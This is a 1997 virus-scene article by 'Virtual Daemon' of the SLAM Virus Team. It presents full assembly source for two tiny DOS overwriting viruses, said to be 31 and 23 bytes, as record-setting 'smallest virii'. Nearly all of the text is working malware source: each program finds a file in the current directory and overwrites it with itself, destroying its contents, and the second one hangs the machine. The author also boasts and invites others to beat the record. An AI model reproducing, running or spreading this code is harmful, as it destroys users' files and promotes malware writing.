SLAM2.035: The smallest virus by Virtual Daemon - only 35 Bytes!
⁄-------------------------------------------------------------ø
| The Smallest virii out there, by Virtual Daemon of SLAM |
¿-------------------------------------------------------------Ÿ
The SLAM Terror Corpse presents... the SMALLEST virii ever!!!
Hi there guys! Well, here are the smallest overwritting virii known in the world (made by me, of course ;)! If anyone has done anything smaller then this, PLEASE let me know... :)
The reason that I'm presenting 2 virii is that the smallest virus that I've managed to make is maketing your computer to jump in an infinite loop so to continue, you must reboot your computer. So, the first virus presented here is the longer version (31 bytes) that will return to DOS after infection is done. The 2nd virus presented is only 23 bytes, but like I said, to continue you have to reboot your computer.
Here goes the first one...
-------------------------------- cut here ---------------------------------
; Virus Name: The Smallest (cool name, ha'? :)
; Virus Author: Virtual Daemon
; Virus Group: SLAM Virus Team
; Virus Size: 31 Bytes
; Creation Time: about 3 min (original) + a little update (1 min)
;
; Some info: This is the smallest virus in the world (at this point) which
; return to DOS prompt after infection. It doesn't put you computer
; in an infinite loop when infecting. That's why I think this is the
; smallest overwritting working virus in the world.
;
; Well, dear Admiral Bailey I DID IT!!! :) No hard feelings... ;)
; I know that we're in 1997 (not in 1992) but what'a fuck?
; Btw: I don't do shit stuff like this all day... I just un-packed a YAM
; magazine and I saw "The Smurf virus", so...
;
; About the virus: - runtime overwritting virus
; - infect 1 file (of any kind) from current directory
;
.model tiny
.code
org 100h ;COM file
start:
mov ah,4eh ;find first file
lea dx,filespec ;what kind of files to search for
mov cl,20h ;cx=attribute
int 21h
mov ax,3d02h ;open the file for reading & writting
mov dx,9eh ;get file name from DTA
int 21h
xchg bx,ax ;save file handle in BX (stupid DOS... :)
mov ah,40h ;write the virus to file
lea dx,start ;begin with 100h
dec cx ;size of virus
int 21h
ret ;return
filespec db '*.*',0 ;we'll be looking for this kind of files
end start
-------------------------------- cut here ---------------------------------
And here goes the second...
-------------------------------- cut here ---------------------------------
; Virus Name: The Tinyest (Hey, waddaya want? I'm running out of names...)
; Virus Author: Virtual Daemon
; Virus Group: SLAM Virus Team
; Virus Size: 23 Bytes
; Creation Time: about 2 min
.model tiny
.code
org 100h ;COM file
start:
filespec db '*.*',0 ;we'll be looking for this kind of files
;this is replaced by a SUB CH instruction
mov ah,4eh ;find first file
intr:
mov dx,si ;dx=si=100h=filespec
int 21h
mov ax,3d02h ;open the file for reading & writting
mov dx,9eh ;get file name from DTA
int 21h
xchg bx,ax ;save file handle in BX (stupid DOS... :)
mov ah,40h ;write the virus to file
jmp short intr ;jmp to intr where dx will take the value 100h
end start
-------------------------------- cut here ---------------------------------
Virtual Daemon
Viral Development Researcher & Virii Colector
Member of SLAM Virus Team
Network Administrator
E-mail: virtual_daemon@hotmail.com
Web: http://www.geocities.com/SiliconValley/Heights/3334